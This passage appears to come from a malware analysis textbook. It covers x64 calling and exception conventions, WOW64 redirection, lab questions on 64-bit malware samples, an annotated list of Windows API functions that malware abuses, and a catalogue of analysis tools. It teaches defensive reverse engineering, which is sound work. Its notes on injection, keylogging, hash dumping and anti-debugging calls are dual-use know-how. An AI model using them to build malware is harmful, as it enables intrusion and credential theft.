00000001400010AA  sub     rsp, 20h 

Listing 21-6: Prologue code for a small function

Here, we see that this function has two parameters: one 32-bit and one 
64-bit. This function allocates 0x20 bytes from the stack, as required by all 
nonleaf functions as a place to provide storage for parameters. If a function 
has any local stack variables, it will allocate space for them in addition to the 
0x20 bytes. In this case, we can tell that there are no local stack variables 
because only 0x20 bytes are allocated.

64-Bit Exception Handling
Unlike exception handling in 32-bit systems, structured exception handling 
in x64 does not use the stack. In 32-bit code, the fs:[0] is used as a pointer 
to the current exception handler frame, which is stored on the stack so that 
each function can define its own exception handler. As a result, you will 
often find instructions modifying fs:[0] at the beginning of a function. You 
will also find exploit code that overwrites the exception information on the 
stack in order to get control of the code executed during an exception.

Structured exception handling in x64 uses a static exception informa-
tion table stored in the PE file and does not store any data on the stack. 
Also, there is an _IMAGE_RUNTIME_FUNCTION_ENTRY structure in the .pdata section 
for every function in the executable that stores the beginning and ending 
address of the function, as well as a pointer to exception-handling informa-
tion for that function.

Windows 32-Bit on Windows 64-Bit

Microsoft developed a subsystem called Windows 32-bit on Windows 64-bit 
(WOW64) in order to allow 32-bit applications to execute properly on a 
64-bit machine. This subsystem has several features that can be used by 
malicious code.

WOW64 uses the 32-bit mode of x64 processors in order to execute 
instructions, but work-arounds are needed for the registry and filesystem. 
The Microsoft DLLs that form the core of the Win32 environment are in 
the SYSTEMROOT directory, usually in \Windows\System32. Many applica-
tions access this directory to search for Microsoft DLLs or to install their 
own DLLs. Therefore, there must be separate DLLs for both 32- and 64-bit 
processes to avoid conflicts.

For compatibility reasons, the 64-bit binaries are stored in the \System32 
directory. For 32-bit applications, this directory is redirected to the \WOW64 
directory; a counterintuitive choice because the 64-bit binaries are in the 
\System32 directory and the 32-bit binaries are in the \WOW64 directory. 
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In analyzing 32-bit malware on a 64-bit system, if you find that it writes a file 
to C:\Windows\System32, you will need to go to C:\Windows\WOW64 to find 
that file.

Another redirection exists for 32-bit applications that access the HKEY_
LOCAL_MACHINE\Software registry key, which is mapped to HKEY_LOCAL_MACHINE\
Software\Wow6432Node. Any 32-bit applications accessing the software registry 
key will be redirected.

32-bit applications are normally unaware that they are running on 
WOW64, but a few mechanisms allow the applications to see outside the 
WOW64 environment. The first is the IsWow64Process function, which can be 
used by 32-bit applications to determine if they are running in a WOW64 
process. Applications can access the real \System32 directory by accessing 
C:\Windows\Sysnative, even when the \System32 is being redirected to WOW64.

The Wow64DisableWow64FsRedirection function disables filesystem redirec-
tion entirely for a given thread. Registry functions such as RegCreateKeyEx, 
RegDeleteKeyEx, and RegOpenKeyEx have a new flag that can be used to specify 
that an application wants to access the 32-bit or 64-bit view of the registry, 
regardless of the type of application. This flag can be used when 32-bit mal-
ware is making changes meant to affect 64-bit applications.

64-Bit Hints at Malware Functionality

Certain features in 64-bit code can provide additional clues to malware func-
tionality that are not available in 32-bit code. These features are conventional 
and generally apply only to compiler-generated code.

For example, it is typically easier in 64-bit code to differentiate between 
pointers and data values. The most common size for storing integers is 32 bits, 
although that is not a requirement. Still, even when simply storing an index 
value that iterates from 1 to 100, most programmers will choose a 32-bit inte-
ger for storage.

Table 21-1 shows the 32-bit and 64-bit versions of the same function call.

In the 32-bit assembly shown on the left, there are two parameters to the 
function sub_411186. We have no information about the types or purposes of 
the parameters, other than that they are both 32 bits.

In the 64-bit assembly shown on the right, we also see two parameters, 
but now we have additional information. The first mov instruction at  moves 
the value into RDX, which tells us that this is a 64-bit value—probably a 
pointer. The second parameter is being moved into ECX, which tells us that 

Table 21-1: 32-bit and 64-bit Function Calls with Two Parameters

32-bit assembly listing 64-bit assembly listing

004114F2  mov     eax, [ebp+var_8]
004114F5  push    eax
004114F6  mov     ecx, [ebp+var_14]
004114F9  push    ecx
004114FA  call    sub_411186

0000000140001148mov     rdx, [rsp+38h+var_18]

000000014000114D mov     ecx, [rsp+38h+var_10]
0000000140001151 call    sub_14000100A
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it is a 32-bit value, because ECX is the 32-bit version of the RCX register. This 
can’t be a pointer, because pointers are 64 bits. We still don’t know whether 
this parameter is an integer, handle, or something else, but when you’re 
starting to understand a function, these little clues can be crucial to deter-
mining what a function does.

Conclusion

Analyzing 64-bit malware is not much different from analyzing 32-bit malware, 
because the instructions and concepts are very similar. Malware analysts need 
to understand how function calling and stack usage are accomplished in 
order to determine how many parameters and local variables each function 
has. It’s also important to understand the WOW64 subsystem in case you 
need to analyze a 32-bit executable that modifies system directories or regis-
try keys used by the OS. Most malware is still 32-bit, but the amount of 64-bit 
malware continues to grow, and its use will extend even more in the future.
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L A B S
You’ll need a 64-bit computer and a 64-bit virtual machine in order to run 
the malware for these labs, as well as the advanced version of IDA Pro in 
order to analyze the malware. 

Lab 21-1

Analyze the code in Lab21-01.exe. This lab is similar to Lab 9-2, but tweaked 
and compiled for a 64-bit system.

Questions

1. What happens when you run this program without any parameters?

2. Depending on your version of IDA Pro, main may not be recognized 
automatically. How can you identify the call to the main function?

3. What is being stored on the stack in the instructions from 
0x0000000140001150 to 0x0000000140001161?

4. How can you get this program to run its payload without changing the 
filename of the executable?

5. Which two strings are being compared by the call to strncmp at 
0x0000000140001205?

6. Does the function at 0x00000001400013C8 take any parameters?

7. How many arguments are passed to the call to CreateProcess at 
0x0000000140001093? How do you know?

Lab 21-2

Analyze the malware found in Lab21-02.exe on both x86 and x64 virtual 
machines. This malware is similar to Lab12-01.exe, with an added x64 
component.

Questions

1. What is interesting about the malware’s resource sections?

2. Is this malware compiled for x64 or x86?

3. How does the malware determine the type of environment in which it is 
running?

4. What does this malware do differently in an x64 environment versus an 
x86 environment?

5. Which files does the malware drop when running on an x86 machine? 
Where would you find the file or files?
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6. Which files does the malware drop when running on an x64 machine? 
Where would you find the file or files?

7. What type of process does the malware launch when run on an x64 
system? 

8. What does the malware do?
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I M P O R T A N T  W I N D O W S  
F U N C T I O N S

This appendix contains a list of Windows functions 
commonly encountered by malware analysts, along 
with a short description of each one and how it is likely 
to be used by malware. Most of these functions are 
already documented by Microsoft, and this appendix is not intended to 
rehash that information. The Microsoft documentation is extremely useful 
and describes almost every function exported by a Microsoft DLL, although 
it can be lengthy and technical. 

You can use this appendix as a reference when performing basic static 
analysis, whether you’re trying to glean information from the import table 
or just looking for advanced techniques to point you in the right direction. 
Once you’ve determined which functions are most relevant for a particular 
piece of malware, you will need to analyze those functions in disassembly and 
use the Microsoft documentation to learn the purpose of each parameter. 



NOTE This appendix presents a selective list of functions. We have excluded functions 
whose purpose should be clear from the function name alone, such as ReadFile and 
DeleteFile.

accept
Used to listen for incoming connections. This function indicates that the 
program will listen for incoming connections on a socket.

AdjustTokenPrivileges
Used to enable or disable specific access privileges. Malware that per-
forms process injection often calls this function to gain additional 
permissions.

AttachThreadInput
Attaches the input processing for one thread to another so that the sec-
ond thread receives input events such as keyboard and mouse events. 
Keyloggers and other spyware use this function.

bind
Used to associate a local address to a socket in order to listen for incom-
ing connections.

BitBlt
Used to copy graphic data from one device to another. Spyware some-
times uses this function to capture screenshots. This function is often 
added by the compiler as part of library code.

CallNextHookEx
Used within code that is hooking an event set by SetWindowsHookEx. 
CallNextHookEx calls the next hook in the chain. Analyze the function 
calling CallNextHookEx to determine the purpose of a hook set by 
SetWindowsHookEx.

CertOpenSystemStore
Used to access the certificates stored on the local system.

CheckRemoteDebuggerPresent
Checks to see if a specific process (including your own) is being debugged. 
This function is sometimes used as part of an anti-debugging technique. 

CoCreateInstance
Creates a COM object. COM objects provide a wide variety of functional-
ity. The class identifier (CLSID) will tell you which file contains the code 
that implements the COM object. See Chapter 7 for an in-depth explana-
tion of COM.

connect
Used to connect to a remote socket. Malware often uses low-level func-
tionality to connect to a command-and-control server.
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ConnectNamedPipe
Used to create a server pipe for interprocess communication that will 
wait for a client pipe to connect. Backdoors and reverse shells sometimes 
use ConnectNamedPipe to simplify connectivity to a command-and-control 
server.

ControlService
Used to start, stop, modify, or send a signal to a running service. If mal-
ware is using its own malicious service, you’ll need to analyze the code 
that implements the service in order to determine the purpose of the call.

CreateFile
Creates a new file or opens an existing file.

CreateFileMapping
Creates a handle to a file mapping that loads a file into memory and 
makes it accessible via memory addresses. Launchers, loaders, and injec-
tors use this function to read and modify PE files. 

CreateMutex
Creates a mutual exclusion object that can be used by malware to ensure 
that only a single instance of the malware is running on a system at any 
given time. Malware often uses fixed names for mutexes, which can be 
good host-based indicators to detect additional installations of the 
malware.

CreateProcess
Creates and launches a new process. If malware creates a new process, 
you will need to analyze the new process as well.

CreateRemoteThread
Used to start a thread in a remote process (one other than the calling 
process). Launchers and stealth malware use CreateRemoteThread to inject 
code into a different process.

CreateService
Creates a service that can be started at boot time. Malware uses CreateService 
for persistence, stealth, or to load kernel drivers.

CreateToolhelp32Snapshot
Used to create a snapshot of processes, heaps, threads, and modules. 
Malware often uses this function as part of code that iterates through 
processes or threads.

CryptAcquireContext
Often the first function used by malware to initialize the use of Windows 
encryption. There are many other functions associated with encryption, 
most of which start with Crypt. 

DeviceIoControl
Sends a control message from user space to a device driver. DeviceIoControl 
is popular with kernel malware because it is an easy, flexible way to pass 
information between user space and kernel space.
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DllCanUnloadNow
An exported function that indicates that the program implements a 
COM server.

DllGetClassObject
An exported function that indicates that the program implements a 
COM server.

DllInstall
An exported function that indicates that the program implements a 
COM server.

DllRegisterServer
An exported function that indicates that the program implements a 
COM server.

DllUnregisterServer
An exported function that indicates that the program implements a 
COM server.

EnableExecuteProtectionSupport
An undocumented API function used to modify the Data Execution Pro-
tection (DEP) settings of the host, making it more susceptible to attack.

EnumProcesses
Used to enumerate through running processes on the system. Malware 
often enumerates through processes to find a process to inject into.

EnumProcessModules
Used to enumerate the loaded modules (executables and DLLs) for 
a given process. Malware enumerates through modules when doing 
injection.

FindFirstFile/FindNextFile
Used to search through a directory and enumerate the filesystem. 

FindResource
Used to find a resource in an executable or loaded DLL. Malware some-
times uses resources to store strings, configuration information, or other 
malicious files. If you see this function used, check for a .rsrc section in 
the malware’s PE header.

FindWindow
Searches for an open window on the desktop. Sometimes this function is 
used as an anti-debugging technique to search for OllyDbg windows.

FtpPutFile
A high-level function for uploading a file to a remote FTP server.

GetAdaptersInfo
Used to obtain information about the network adapters on the system. 
Backdoors sometimes call GetAdaptersInfo as part of a survey to gather 
information about infected machines. In some cases, it’s used to gather 
MAC addresses to check for VMware as part of anti-virtual machine 
techniques.
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GetAsyncKeyState
Used to determine whether a particular key is being pressed. Malware 
sometimes uses this function to implement a keylogger.

GetDC
Returns a handle to a device context for a window or the whole screen. 
Spyware that takes screen captures often uses this function.

GetForegroundWindow
Returns a handle to the window currently in the foreground of the 
desktop. Keyloggers commonly use this function to determine in which 
window the user is entering his keystrokes.

gethostbyname
Used to perform a DNS lookup on a particular hostname prior to making 
an IP connection to a remote host. Hostnames that serve as command-
and-control servers often make good network-based signatures.

gethostname
Retrieves the hostname of the computer. Backdoors sometimes use 
gethostname as part of a survey of the victim machine.

GetKeyState
Used by keyloggers to obtain the status of a particular key on the keyboard.

GetModuleFilename
Returns the filename of a module that is loaded in the current process. 
Malware can use this function to modify or copy files in the currently 
running process.

GetModuleHandle
Used to obtain a handle to an already loaded module. Malware may 
use GetModuleHandle to locate and modify code in a loaded module or to 
search for a good location to inject code.

GetProcAddress
Retrieves the address of a function in a DLL loaded into memory. Used to 
import functions from other DLLs in addition to the functions imported 
in the PE file header.

GetStartupInfo
Retrieves a structure containing details about how the current process 
was configured to run, such as where the standard handles are directed.

GetSystemDefaultLangId
Returns the default language settings for the system. This can be used to 
customize displays and filenames, as part of a survey of an infected victim, 
or by “patriotic” malware that affects only systems from certain regions.

GetTempPath
Returns the temporary file path. If you see malware call this function, 
check whether it reads or writes any files in the temporary file path.
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GetThreadContext
Returns the context structure of a given thread. The context for a thread 
stores all the thread information, such as the register values and current 
state.

GetTickCount
Retrieves the number of milliseconds since bootup. This function is 
sometimes used to gather timing information as an anti-debugging tech-
nique. GetTickCount is often added by the compiler and is included in 
many executables, so simply seeing it as an imported function provides 
little information.

GetVersionEx
Returns information about which version of Windows is currently run-
ning. This can be used as part of a victim survey or to select between dif-
ferent offsets for undocumented structures that have changed between 
different versions of Windows.

GetWindowsDirectory
Returns the file path to the Windows directory (usually C:\Windows). 
Malware sometimes uses this call to determine into which directory to 
install additional malicious programs.

inet_addr
Converts an IP address string like 127.0.0.1 so that it can be used by func-
tions such as connect. The string specified can sometimes be used as a 
network-based signature.

InternetOpen
Initializes the high-level Internet access functions from WinINet, such as 
InternetOpenUrl and InternetReadFile. Searching for InternetOpen is a good 
way to find the start of Internet access functionality. One of the parame-
ters to InternetOpen is the User-Agent, which can sometimes make a good 
network-based signature.

InternetOpenUrl
Opens a specific URL for a connection using FTP, HTTP, or HTTPS. 
URLs, if fixed, can often be good network-based signatures.

InternetReadFile
Reads data from a previously opened URL.

InternetWriteFile
Writes data to a previously opened URL.

IsDebuggerPresent
Checks to see if the current process is being debugged, often as part of 
an anti-debugging technique. This function is often added by the com-
piler and is included in many executables, so simply seeing it as an 
imported function provides little information.

IsNTAdmin
Checks if the user has administrator privileges.
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IsWoW64Process
Used by a 32-bit process to determine if it is running on a 64-bit operat-
ing system.

LdrLoadDll
Low-level function to load a DLL into a process, just like LoadLibrary. 
Normal programs use LoadLibrary, and the presence of this import may 
indicate a program that is attempting to be stealthy.

LoadLibrary
Loads a DLL into a process that may not have been loaded when the pro-
gram started. Imported by nearly every Win32 program.

LoadResource
Loads a resource from a PE file into memory. Malware sometimes uses 
resources to store strings, configuration information, or other malicious 
files.

LsaEnumerateLogonSessions
Enumerates through logon sessions on the current system, which can be 
used as part of a credential stealer.

MapViewOfFile
Maps a file into memory and makes the contents of the file accessible via 
memory addresses. Launchers, loaders, and injectors use this function to 
read and modify PE files. By using MapViewOfFile, the malware can avoid 
using WriteFile to modify the contents of a file.

MapVirtualKey
Translates a virtual-key code into a character value. It is often used by 
keylogging malware.

MmGetSystemRoutineAddress
Similar to GetProcAddress but used by kernel code. This function retrieves 
the address of a function from another module, but it can only get 
addresses from ntoskrnl.exe and hal.dll.

Module32First/Module32Next
Used to enumerate through modules loaded into a process. Injectors use 
this function to determine where to inject code.

NetScheduleJobAdd
Submits a request for a program to be run at a specified date and time. 
Malware can use NetScheduleJobAdd to run a different program. As a mal-
ware analyst, you’ll need to locate and analyze the program that will be 
run in the future.

NetShareEnum
Used to enumerate network shares.

NtQueryDirectoryFile
Returns information about files in a directory. Rootkits commonly hook 
this function in order to hide files.
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NtQueryInformationProcess
Returns various information about a specified process. This function is 
sometimes used as an anti-debugging technique because it can return 
the same information as CheckRemoteDebuggerPresent.

NtSetInformationProcess
Can be used to change the privilege level of a program or to bypass Data 
Execution Prevention (DEP).

OleInitialize
Used to initialize the COM library. Programs that use COM objects must 
call OleInitialize prior to calling any other COM functions.

OpenMutex
Opens a handle to a mutual exclusion object that can be used by mal-
ware to ensure that only a single instance of malware is running on a 
system at any given time. Malware often uses fixed names for mutexes, 
which can be good host-based indicators.

OpenProcess
Opens a handle to another process running on the system. This handle 
can be used to read and write to the other process memory or to inject 
code into the other process.

OpenSCManager
Opens a handle to the service control manager. Any program that installs, 
modifies, or controls a service must call this function before any other 
service-manipulation function.

OutputDebugString
Outputs a string to a debugger if one is attached. This can be used as an 
anti-debugging technique.

PeekNamedPipe
Used to copy data from a named pipe without removing data from the 
pipe. This function is popular with reverse shells.

Process32First/Process32Next
Used to begin enumerating processes from a previous call to 
CreateToolhelp32Snapshot. Malware often enumerates through processes 
to find a process to inject into.

QueryPerformanceCounter
Used to retrieve the value of the hardware-based performance counter. 
This function is sometimes using to gather timing information as part of 
an anti-debugging technique. It is often added by the compiler and is 
included in many executables, so simply seeing it as an imported func-
tion provides little information.

QueueUserAPC
Used to execute code for a different thread. Malware sometimes uses 
QueueUserAPC to inject code into another process.

ReadProcessMemory
Used to read the memory of a remote process.
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recv
Receives data from a remote machine. Malware often uses this function 
to receive data from a remote command-and-control server.

RegisterHotKey
Used to register a handler to be notified anytime a user enters a partic-
ular key combination (like CTRL-ALT-J), regardless of which window is 
active when the user presses the key combination. This function is some-
times used by spyware that remains hidden from the user until the key 
combination is pressed.

RegOpenKey
Opens a handle to a registry key for reading and editing. Registry keys 
are sometimes written as a way for software to achieve persistence on a 
host. The registry also contains a whole host of operating system and 
application setting information.

ResumeThread
Resumes a previously suspended thread. ResumeThread is used as part of 
several injection techniques.

RtlCreateRegistryKey
Used to create a registry from kernel-mode code.

RtlWriteRegistryValue
Used to write a value to the registry from kernel-mode code.

SamIConnect
Connects to the Security Account Manager (SAM) in order to make 
future calls that access credential information. Hash-dumping programs 
access the SAM database in order to retrieve the hash of users’ login 
passwords.

SamIGetPrivateData
Queries the private information about a specific user from the Security 
Account Manager (SAM) database. Hash-dumping programs access the 
SAM database in order to retrieve the hash of users’ login passwords.

SamQueryInformationUse
Queries information about a specific user in the Security Account Man-
ager (SAM) database. Hash-dumping programs access the SAM database 
in order to retrieve the hash of users’ login passwords.

send
Sends data to a remote machine. Malware often uses this function to 
send data to a remote command-and-control server.

SetFileTime
Modifies the creation, access, or last modified time of a file. Malware 
often uses this function to conceal malicious activity.

SetThreadContext
Used to modify the context of a given thread. Some injection techniques 
use SetThreadContext.
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SetWindowsHookEx
Sets a hook function to be called whenever a certain event is called. 
Commonly used with keyloggers and spyware, this function also provides 
an easy way to load a DLL into all GUI processes on the system. This 
function is sometimes added by the compiler.

SfcTerminateWatcherThread
Used to disable Windows file protection and modify files that otherwise 
would be protected. SfcFileException can also be used in this capacity.

ShellExecute
Used to execute another program. If malware creates a new process, you 
will need to analyze the new process as well. 

StartServiceCtrlDispatcher
Used by a service to connect the main thread of the process to the service 
control manager. Any process that runs as a service must call this func-
tion within 30 seconds of startup. Locating this function in malware tells 
you that the function should be run as a service. 

SuspendThread
Suspends a thread so that it stops running. Malware will sometimes sus-
pend a thread in order to modify it by performing code injection.

system
Function to run another program provided by some C runtime libraries. 
On Windows, this function serves as a wrapper function to CreateProcess.

Thread32First/Thread32Next
Used to iterate through the threads of a process. Injectors use these 
functions to find an appropriate thread to inject into.

Toolhelp32ReadProcessMemory
Used to read the memory of a remote process.

URLDownloadToFile
A high-level call to download a file from a web server and save it to disk. 
This function is popular with downloaders because it implements all the 
functionality of a downloader in one function call.

VirtualAllocEx
A memory-allocation routine that can allocate memory in a remote pro-
cess. Malware sometimes uses VirtualAllocEx as part of process injection.

VirtualProtectEx
Changes the protection on a region of memory. Malware may use this 
function to change a read-only section of memory to an executable.

WideCharToMultiByte
Used to convert a Unicode string into an ASCII string.

WinExec
Used to execute another program. If malware creates a new process, you 
will need to analyze the new process as well. 
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WlxLoggedOnSAS (and other Wlx* functions)
A function that must be exported by DLLs that will act as authentication 
modules. Malware that exports many Wlx* functions might be performing 
Graphical Identification and Authentication (GINA) replacement, as 
discussed in Chapter 11.

Wow64DisableWow64FsRedirection
Disables file redirection that occurs in 32-bit files loaded on a 64-bit sys-
tem. If a 32-bit application writes to C:\Windows\System32 after calling this 
function, then it will write to the real C:\Windows\System32 instead of 
being redirected to C:\Windows\SysWOW64.

WriteProcessMemory
Used to write data to a remote process. Malware uses WriteProcessMemory 
as part of process injection.

WSAStartup
Used to initialize low-level network functionality. Finding calls to 
WSAStartup can often be an easy way to locate the start of network-
related functionality.
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T O O L S  F O R  M A L W A R E  A N A L Y S I S

This appendix lists popular malware analysis tools, 
including tools discussed in the book and others that 
we did not cover. We have made this list somewhat 
comprehensive so that you can try a variety of tools 
and figure out which ones best suit your needs.
ApateDNS

ApateDNS is a tool for controlling DNS responses. Its interface is an 
easy-to-use GUI. As a phony DNS server, ApateDNS spoofs DNS responses 
to a user-specified IP address by listening on UDP port 53 on the local 
machine. ApateDNS also automatically configures the local DNS server 
to localhost. When you exit ApateDNS, it restores the original local DNS 
settings. Use ApateDNS during dynamic analysis, as described in Chapter 3. 
You can download ApateDNS for free from http://www.mandiant.com/.

Autoruns
Autoruns is a utility with a long list of autostarting locations for Windows. 
For persistence, malware often installs itself in a variety of locations, 
including the registry, startup folder, and so on. Autoruns searches 



various possible locations and reports to you in a GUI. Use Autoruns 
for dynamic analysis to see where malware installed itself. You can 
download Autoruns as part of the Sysinternals Suite of tools from http://
www.sysinternals.com/.

BinDiff
BinDiff is a powerful binary comparison plug-in for IDA Pro that allows 
you to quickly compare malware variants. BinDiff lets you pinpoint new 
functions in a given malware variant and tells you if any functions are 
similar or missing. If the functions are similar, BinDiff indicates how sim-
ilar they are and compares the two, as shown in Figure B-1.

Figure B-1: BinDiff difference comparison showing code missing from the variant’s function

As you can see in Figure B-1, the left side of the graph is missing two 
boxes that appear in the right side. You can zoom in and examine the 
missing instructions. BinDiff will also guess at how similar the overall 
binary is to one that you are comparing, though you must generate an 
IDB file for both the original and the variant malware for this to work. 
(If you have a fully labeled IDB file for the comparison, you will be able 
to more easily recognize what is actually similar in the binary.) 

BinDiff is available for purchase from http://www.zynamics.com/.

BinNavi
BinNavi is a reverse-engineering environment similar to IDA Pro. Its 
strength lies in its graphical approach to reverse-engineering code. And, 
unlike IDA Pro, BinNavi can centrally manage your previously analyzed 
databases, which helps to track information; team members can easily 
work on the same project and share information and findings. BinNavi 
is available for purchase from http://www.zynamics.com/.
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Bochs
Bochs is an open source debugger that simulates a complete x86 com-
puter. Bochs is most useful when you want to debug a short code snippet 
in IDA Pro. IDA Pro supports a direct debugging mode of the IDB file 
using Bochs. When debugging in this mode, the input file format isn’t 
important—it can be a DLL, shellcode dump, or any other database that 
contains x86 code. You can simply point to the code snippet and start 
debugging. This approach is often useful when dealing with encoded 
strings or configuration data. You can download Bochs for free from 
http://bochs.sourceforge.net/. A tutorial on installing and using Bochs in 
IDA Pro can be found at http://www.hex-rays.com/products/ida/debugger/
bochs_tut.pdf.

Burp Suite
The Burp Suite is typically used for testing web applications. It can be 
configured to allow malware analysts to trap specific server requests and 
responses in order to manipulate what is being delivered to a system. 
When Burp is set up as a man-in-the-middle, you can modify HTTP or 
HTTPS requests by changing the headers, data, and parameters sent by 
the malware to a remote server in order to force the server to give you 
additional information. You can download the Burp Suite from http://
portswigger.net/burp/.

Capture BAT
Capture BAT is a dynamic analysis tool used to monitor malware as it 
is running. Capture BAT will monitor the filesystem, registry, and pro-
cess activity. You can use exclusion lists (including many preset ones) 
to remove the noise in order to focus on the malware you are analyzing. 
While Capture BAT doesn’t have an extensive GUI like Process Monitor, 
it’s open source, so you can modify it. You can download Capture BAT 
for free from http://www.honeynet.org/.

CFF Explorer
CFF Explorer is a tool designed to make PE editing easy. The tool is use-
ful for editing resource sections, adding imports, or scanning for signa-
tures. CFF Explorer supports x86 and x64 systems, and it can handle 
.NET files without having the .NET Framework installed. You can down-
load CFF Explorer for free from http://www.ntcore.com/.

Deep Freeze
Deep Freeze from Faronics is a useful tool to use when performing mal-
ware analysis on physical hardware. It provides a VMware snapshotting 
capability for real hardware. You can run your malware, analyze it, and 
then just reboot. All the damage done by the malware will be undone, 
and your system will be back to a clean state. Deep Freeze is available for 
purchase from http://www.faronics.com/.
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Dependency Walker
Dependency Walker is a static analysis tool used to explore DLLs and 
functions imported by a piece of malware. It works on both x86 and x64 
binaries, and builds a hierarchical tree diagram of all DLLs that will be 
loaded into memory when the malware is run. We discuss Dependency 
Walker in Chapter 1. You can download it for free from http://www
.dependencywalker.com/.

Hex Editors
Hex editors allow you to edit and view files containing binary data. Many 
hex editors are available, such as WinHex (our choice in this book), Hex 
Workshop, 010 Editor, HexEdit, Hex Editor Neo, FileInsight, and Flex-
HEX. When choosing a hex editor, look for features like a solid GUI, 
binary comparison, many data-decoding options (such as multibyte XOR), 
a built-in hash calculator, file format parsing, pattern searching, and so 
on. Many of these tools are available for purchase, but most come with a 
trial version.

Hex-Rays Decompiler
The Hex-Rays Decompiler is a powerful, but expensive, plug-in for IDA 
Pro that attempts to convert assembly code into human-readable, C-like 
pseudocode text. This tool installs an F5 “cheat button.” When you are 
looking at disassembly in IDA Pro, press F5 to have the plug-in open a 
new window with the C code. Figure B-2 shows what the pseudocode 
looks like for a code snippet from a piece of malware.

Figure B-2: Hex-Rays Decompiler showing C-like pseudocode generated from assembly

In the example in Figure B-2, the Hex-Rays Decompiler turned more 
than 100 assembly instructions into just eight lines of C code. Notice that 
the plug-in will use your renamed variable names from IDA Pro. In this 
example, you can easily see the parameters that are passed to a function, 
and nested if statements are more obvious. 

We find this plug-in particularly useful when trying to decipher dif-
ficult encoding routines. In some cases, you can even copy and paste 
the decompiler’s output and use it to write a decoding tool. Hex-Rays 
Decompiler is the best tool on the market for decompiling, but it’s not 
without its flaws. The Hex-Rays Decompiler is available for purchase 
from http://www.hex-rays.com/.
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IDA Pro
IDA Pro is the most widely used disassembler for malware analysis. We 
discuss IDA Pro extensively throughout the book, and Chapter 5 pro-
vides an in-depth introduction to the tool. We recommend the commer-
cial version from http://www.hex-rays.com/. A freeware version is available 
from http://www.hex-rays.com/products/ida/support/download_freeware.shtml.

Immunity Debugger
Immunity Debugger (ImmDbg) is a freely available user-mode debug-
ger. It is derived from the OllyDbg 1.1 source code, as we discuss in 
Chapter 9, except that ImmDbg has cosmetically modified the OllyDbg 
GUI and added a fully functional Python interpreter with an API. In 
“Scriptable Debugging” on page 200 and the Chapter 13 labs, we demon-
strate how to use ImmDbg’s Python scripting ability. You can download 
ImmDbg from http://www.immunityinc.com/.

Import REConstructor
Import REConstructor (ImpREC) is a useful tool when you are manually 
unpacking a piece of malware. The import address table (IAT) is often 
damaged when you dump memory while unpacking, and you can use 
ImpREC to repair the table. You provide the malware running in mem-
ory and a dumped version on disk, and ImpREC does its best to repair 
the binary. You can download ImpREC for free from http://tuts4you.com/
download.php?view.415. 

INetSim
INetSim is a Linux-based software suite for simulating common network 
services that we find useful for dynamic analysis. Be sure to install it on a 
Linux virtual machine, and set it up on the same virtual network as your 
malware analysis Windows VM. INetSim can emulate many popular ser-
vices, such as a Microsoft Internet Information Services (IIS) web server, 
and can even listen on all ports for incoming connections. We discuss 
INetSim in Chapter 3. You can download it for free from http://www
.inetsim.org/.

LordPE
LordPE is a free tool for dumping an executable from memory. It allows 
PE editing and can be used to repair a program you dumped from mem-
ory using another method. LordPE is most commonly used for unpack-
ing malware. You can download it for free from http://www.woodmann
.com/collaborative/tools/index.php/LordPE.

Malcode Analyst Pack
The Malcode Analyst Pack contains a series of utilities, one of which 
installs useful Windows shell extensions for strings, an MD5 hash calcu-
lator, and a CHM decompile option. The CHM decompile option is 
handy when dealing with malicious Windows help files. Also included is 
FakeDNS, a useful tool for spoofing DNS responses to a user-specified 
Tools for  Malware Analys is 469



address. While these utilities are no longer officially supported, you 
might still be able to download them from http://labs.idefense.com/
software/download/?downloadID=8.

Memoryze
Memoryze is a free memory forensic tool that enables you to dump and 
analyze live memory. You can use Memoryze to acquire all of live mem-
ory or just individual processes, as well as to identify all modules loaded 
on a given system, including drivers and kernel-level executables. Memo-
ryze also can detect rootkits and the hooks they install. If you choose to 
use Memoryze, be sure to download Audit Viewer, a tool for visualizing 
Memoryze’s output that makes the memory analysis process quicker and 
more intuitive. Audit Viewer includes a malware rating index to help you 
identify suspicious content in your memory dumps. You can download 
Memoryze and Audit Viewer for free from http://www.mandiant.com/.

Netcat
Netcat, known as the “TCP/IP Swiss Army knife,” can be used to monitor 
or start inbound and outbound connections. Netcat is most useful dur-
ing dynamic analysis for listening on ports that you know the malware 
connects to, because Netcat prints all the data it receives to the screen 
via standard output. We cover Netcat usage for dynamic analysis in Chap-
ter 3 and also talk about how attackers use it in Chapter 11. Netcat is 
installed by default in Cygwin and on most Linux distributions. You can 
download the Windows version for free from http://joncraton.org/media/
files/nc111nt.zip.

OfficeMalScanner
OfficeMalScanner is a free command-line tool for finding malicious 
code in Microsoft Office documents. It locates shellcode, embedded PE 
files, and OLE streams in Excel, Word, and PowerPoint documents, and 
can decompress the newer format of Microsoft Office documents. We 
recommend running OfficeMalScanner with the scan and brute options 
on pre–Office 2007 documents and with the inflate option on post–
Office 2007 documents. You can download OfficeMalScanner from 
http://www.reconstructer.org/.

OllyDbg
OllyDbg is one of the most widely used debuggers for malware analysis. 
We discuss OllyDbg extensively throughout the book, and Chapter 9 pro-
vides an in-depth introduction to the tool. OllyDbg is a user-mode x86 
debugger with a GUI. Several plug-ins are available for OllyDbg, such as 
OllyDump for use while unpacking (discussed in Chapter 18). You can 
download OllyDbg for free from http://www.ollydbg.de/.

OSR Driver Loader
OSR Driver Loader is a freely available tool for loading a device driver 
into memory. It is a GUI-based tool used for easily loading and starting 
a driver without rebooting. This is useful when you are dynamically 
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analyzing a malicious device driver and don’t have the installer. We dis-
cuss the OSR Driver Loader tool in Chapter 10. You can download it 
from http://www.osronline.com/.

PDF Dissector
PDF Dissector is a commercial GUI-based PDF analysis tool that graphi-
cally parses PDF elements and automatically decompresses objects, 
making it easy to extract malicious JavaScript. The program includes a 
JavaScript deobfuscator and interpreter to help you understand and 
execute malicious scripts. PDF Dissector can also be used to identify 
known vulnerabilities. This tool is available for purchase from http://
www.zynamics.com/.

PDF Tools
PDF Tools is the classic tool kit for PDF analysis. The tool kit consists of 
two tools: pdfid.py and pdf-parser.py. pdfid.py scans a PDF for objects and 
tells you if it thinks a PDF contains JavaScript. Since most malicious PDFs 
use JavaScript, this information can help you quickly identify potentially 
risky PDFs. pdf-parser.py helps you examine the contents and important 
objects of a PDF file without rendering it. You can download the PDF 
tools for free from http://blog.didierstevens.com/programs/pdf-tools/.

PE Explorer
PE Explorer is a useful tool for viewing the PE header, sections, and 
import/export tables. It is more powerful than PEview because it allows 
you to edit structures. PE Explorer contains static unpackers for UPX-, 
Upack-, and NsPack-compressed files. This unpacking feature is seam-
less and saves a lot of time. You simply load the packed binary into PE 
Explorer, and it automatically unpacks the file. You can download a trial 
version or purchase the commercial version of PE Explorer from http://
www.heaventools.com/.

